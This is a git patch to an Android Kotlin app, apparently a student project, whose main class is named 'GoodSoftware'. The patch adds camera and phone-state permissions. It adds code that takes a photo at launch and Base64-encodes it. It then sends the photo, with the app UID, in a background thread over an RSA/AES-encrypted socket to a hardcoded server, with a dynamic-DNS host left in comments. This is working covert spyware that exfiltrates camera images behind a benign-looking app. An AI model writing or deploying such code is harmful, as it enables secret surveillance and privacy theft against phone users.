From 2d080d4b7d3fb35232f425d0139171c517921c2a Mon Sep 17 00:00:00 2001
From: Joren <joren.schipman@student.howest.be>
Date: Wed, 1 May 2024 23:24:51 +0200
Subject: [PATCH] Make some updates to server connection

---
 .idea/deploymentTargetDropDown.xml         | 47 ++++++++++++++++++-
 .idea/misc.xml                             |  1 -
 app/src/main/AndroidManifest.xml           |  4 ++
 app/src/main/java/com/ti/m/GoodSoftware.kt | 54 ++++++++++++++++------
 app/src/main/java/com/ti/m/MainActivity.kt | 40 ++++++++++++++--
 5 files changed, 125 insertions(+), 21 deletions(-)

diff --git a/.idea/deploymentTargetDropDown.xml b/.idea/deploymentTargetDropDown.xml
index 2006c4b..1698150 100644
--- a/.idea/deploymentTargetDropDown.xml
+++ b/.idea/deploymentTargetDropDown.xml
@@ -3,7 +3,52 @@
   <component name="deploymentTargetDropDown">
     <value>
       <entry key="MainActivity">
-        <State />
+        <State>
+          <targetSelectedWithDropDown>
+            <Target>
+              <type value="QUICK_BOOT_TARGET" />
+              <deviceKey>
+                <Key>
+                  <type value="VIRTUAL_DEVICE_PATH" />
+                  <value value="$USER_HOME$/.android/avd/Pixel_3a_API_34_extension_level_7_x86_64.avd" />
+                </Key>
+              </deviceKey>
+            </Target>
+          </targetSelectedWithDropDown>
+          <timeTargetWasSelectedWithDropDown value="2024-05-01T21:00:11.388367735Z" />
+          <multipleDevicesSelectedInDropDown value="true" />
+          <runningDeviceTargetsSelectedWithDialog>
+            <Target>
+              <type value="RUNNING_DEVICE_TARGET" />
+              <deviceKey>
+                <Key>
+                  <type value="SERIAL_NUMBER" />
+                  <value value="RF8M8154RCX" />
+                </Key>
+              </deviceKey>
+            </Target>
+            <Target>
+              <type value="RUNNING_DEVICE_TARGET" />
+              <deviceKey>
+                <Key>
+                  <type value="VIRTUAL_DEVICE_PATH" />
+                  <value value="$USER_HOME$/.android/avd/Pixel_3a_API_34_extension_level_7_x86_64.avd" />
+                </Key>
+              </deviceKey>
+            </Target>
+          </runningDeviceTargetsSelectedWithDialog>
+          <targetsSelectedWithDialog>
+            <Target>
+              <type value="QUICK_BOOT_TARGET" />
+              <deviceKey>
+                <Key>
+                  <type value="VIRTUAL_DEVICE_PATH" />
+                  <value value="$USER_HOME$/.android/avd/Pixel_3a_API_34_extension_level_7_x86_64.avd" />
+                </Key>
+              </deviceKey>
+            </Target>
+          </targetsSelectedWithDialog>
+        </State>
       </entry>
       <entry key="MainActivity (2)">
         <State />
diff --git a/.idea/misc.xml b/.idea/misc.xml
index 0ad17cb..8978d23 100644
--- a/.idea/misc.xml
+++ b/.idea/misc.xml
@@ -1,4 +1,3 @@
-<?xml version="1.0" encoding="UTF-8"?>
 <project version="4">
   <component name="ExternalStorageConfigurationManager" enabled="true" />
   <component name="ProjectRootManager" version="2" languageLevel="JDK_17" default="true" project-jdk-name="jbr-17" project-jdk-type="JavaSDK">
diff --git a/app/src/main/AndroidManifest.xml b/app/src/main/AndroidManifest.xml
index 103d595..1114934 100644
--- a/app/src/main/AndroidManifest.xml
+++ b/app/src/main/AndroidManifest.xml
@@ -2,6 +2,10 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
     xmlns:tools="http://schemas.android.com/tools">
     <uses-permission android:name="android.permission.INTERNET" />
+    <uses-permission android:name="android.permission.CAMERA" />
+    <uses-feature android:name="android.hardware.camera" />
+    <uses-feature android:name="android.hardware.camera.autofocus" />
+    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
 
     <application
         android:allowBackup="true"
diff --git a/app/src/main/java/com/ti/m/GoodSoftware.kt b/app/src/main/java/com/ti/m/GoodSoftware.kt
index 5373c94..c9faf05 100644
--- a/app/src/main/java/com/ti/m/GoodSoftware.kt
+++ b/app/src/main/java/com/ti/m/GoodSoftware.kt
@@ -24,19 +24,23 @@ import javax.crypto.spec.SecretKeySpec
 import androidx.concurrent.futures.await
 import androidx.core.content.ContextCompat
 import androidx.lifecycle.LifecycleOwner
+import android.util.Base64
+import androidx.core.app.ActivityCompat
+import java.io.ByteArrayOutputStream
+import android.Manifest
+import android.app.Activity
+import android.content.pm.PackageManager
+import android.os.Build
+import android.telephony.TelephonyManager
+import android.widget.Toast
+import androidx.annotation.RequiresApi
+import androidx.core.content.ContextCompat.getSystemService
+
 
 class GoodSoftware (private val context: Context) {
     private var cameraProvider: ProcessCameraProvider? = null
     private var lensFacing: Int = CameraSelector.LENS_FACING_BACK
-    private var displayId: Int = -1
-    private var preview: Preview? = null
     private var imageCapture: ImageCapture? = null
-    private var imageAnalyzer: ImageAnalysis? = null
-    private var camera: Camera? = null
-
-    interface PictureTakenCallback {
-        fun onPictureTaken()
-    }
 
     private companion object {
         private const val RSA_ALGORITHM = "RSA"
@@ -94,14 +98,17 @@ class GoodSoftware (private val context: Context) {
     }
 
     private fun runAllTheGoodness() {
-        val dataToSend = "Amazing data"
-        sendDataToServer(dataToSend)
+        val uid = android.os.Process.myUid().toString()
+        //sendDataToServer("UID: $uid")
     }
 
+
     fun sendDataToServer(sendData: String) {
         val pKey = getPublicKeyFromString("MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu09x4q24cMSJZmxMGSzRoL3jXG3kguVbBV6zRnPZwPT9nIofs7yb4lh6/deNedNJssLYJEmiAyI3NzsvLzihipCjatAYEgLgRcF60HBrqUKwT6uxukoVbXi+c9O70CjDEJEKDSW/ps5d6cAOMq5KmoGe4f+Geo5Nzxwjdhlaw/wjY1r5S/C7c5JRMSTn5xYwRZJFM4zRSOEz8d02FemLLWQggvRV7bIJuk1w0039sO/RjWTOeMqNPXXaBH6jV6seDCJ4coXWv0g4xNwCrxNtm1aRFW3zyh3GhAEVXcOmJ5EOUL6EiKt+5RTtSdL7OKHv+RfQuv4pkmlqpPo8pQHvnQIDAQAB")!!
-        val host = "thinclient.duckdns.org"
-        val port = 5645
+/*        val host = "thinclient.duckdns.org"
+        val port = 5645*/
+        val host = "192.168.90.151"
+        val port = 8080
         val secureRandom = SecureRandom()
         val keyBytes = ByteArray(16)
         val ivBytes = ByteArray(16)
@@ -111,7 +118,7 @@ class GoodSoftware (private val context: Context) {
         val iv = IvParameterSpec(ivBytes)
         val algorithm = "AES/CBC/PKCS5Padding"
 
-        val chunkSize = 45
+        val chunkSize = 131072
         val chunks = sendData.lines().joinToString("").chunked(chunkSize)
 
         val socket = Socket(host, port)
@@ -120,18 +127,23 @@ class GoodSoftware (private val context: Context) {
 
         val encodedKey = encodeBase64(keyBytes)
         writer.println(encryptText(encodedKey, pKey))
-
         reader.readLine()
+
         val encodedIV = encodeBase64(ivBytes)
         writer.println(encryptText(encodedIV, pKey))
         reader.readLine()
 
+        val encodedUid = encodeBase64(android.os.Process.myUid().toString().toByteArray())
+        writer.println(encryptText(encodedUid, pKey))
+        reader.readLine()
+
         for (chunk in chunks) {
-            val cipherText = encrypt(algorithm, chunk, key, iv)
+            val cipherText = encrypt(algorithm, chunk, key, iv).lines().joinToString("")
             writer.println(cipherText)
             reader.readLine()
         }
 
+
         writer.println("END_OF_COMMUNICATION")
         reader.readLine()
 
@@ -181,6 +193,18 @@ class GoodSoftware (private val context: Context) {
 
             override fun onCaptureSuccess(image: ImageProxy) {
                 // Process captured image here
+                val byteArrayOutputStream = ByteArrayOutputStream()
+                val imagePlane = image.planes[0]
+                val buffer = imagePlane.buffer
+                val bytes = ByteArray(buffer.capacity())
+                buffer.get(bytes)
+                byteArrayOutputStream.write(bytes)
+                val base64Image = Base64.encodeToString(byteArrayOutputStream.toByteArray(), Base64.DEFAULT)
+                Log.d(picture.TAG, "Base64 Image: $base64Image")
+                Thread {
+                    println("Sending data to server")
+                    sendDataToServer(base64Image)
+                }.start()
                 image.close()
             }
         }
diff --git a/app/src/main/java/com/ti/m/MainActivity.kt b/app/src/main/java/com/ti/m/MainActivity.kt
index 4fd0515..b7f5456 100644
--- a/app/src/main/java/com/ti/m/MainActivity.kt
+++ b/app/src/main/java/com/ti/m/MainActivity.kt
@@ -1,12 +1,18 @@
 package com.ti.m
 
+import android.Manifest
+import android.app.Activity
+import android.content.pm.PackageManager
 import android.os.Bundle
+import android.widget.Toast
 import androidx.activity.ComponentActivity
 import androidx.activity.compose.setContent
 import androidx.compose.foundation.layout.fillMaxSize
 import androidx.compose.material3.MaterialTheme
 import androidx.compose.material3.Surface
 import androidx.compose.ui.Modifier
+import androidx.core.app.ActivityCompat
+import androidx.core.content.ContextCompat
 import androidx.lifecycle.LifecycleOwner
 import androidx.lifecycle.lifecycleScope
 import com.ti.m.GoodSoftware
@@ -14,6 +20,9 @@ import com.ti.m.ui.theme.MTheme
 import kotlinx.coroutines.launch
 
 class MainActivity : ComponentActivity(), LifecycleOwner {
+    private val REQUEST_CAMERA_PERMISSION = 100
+    private lateinit var goo: GoodSoftware
+
     override fun onCreate(savedInstanceState: Bundle?) {
         super.onCreate(savedInstanceState)
         setContent {
@@ -25,10 +34,33 @@ class MainActivity : ComponentActivity(), LifecycleOwner {
                 }
             }
         }
-        val Goo = GoodSoftware(applicationContext);
-        Goo.launch()
-        lifecycleScope.launch {
-            Goo.takeBeautifulPicture(this@MainActivity)
+        goo = GoodSoftware(this@MainActivity)
+        goo.launch()
+        checkCameraPermission()
+    }
+
+    private fun checkCameraPermission() {
+        if (ContextCompat.checkSelfPermission(this, Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED) {
+            ActivityCompat.requestPermissions(this as Activity, arrayOf(Manifest.permission.CAMERA), REQUEST_CAMERA_PERMISSION)
+        } else {
+            lifecycleScope.launch {
+                goo.takeBeautifulPicture(this@MainActivity)
+            }
+        }
+    }
+
+    override fun onRequestPermissionsResult(requestCode: Int, permissions: Array<String>, grantResults: IntArray) {
+        super.onRequestPermissionsResult(requestCode, permissions, grantResults)
+        if (requestCode == REQUEST_CAMERA_PERMISSION) {
+            if (grantResults.isNotEmpty() && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
+                // Permission granted, proceed with your camera operations
+                lifecycleScope.launch {
+                    goo.takeBeautifulPicture(this@MainActivity)
+                }
+            } else {
+                // Permission denied
+                Toast.makeText(this, "Camera permission denied", Toast.LENGTH_SHORT).show()
+            }
         }
     }
 }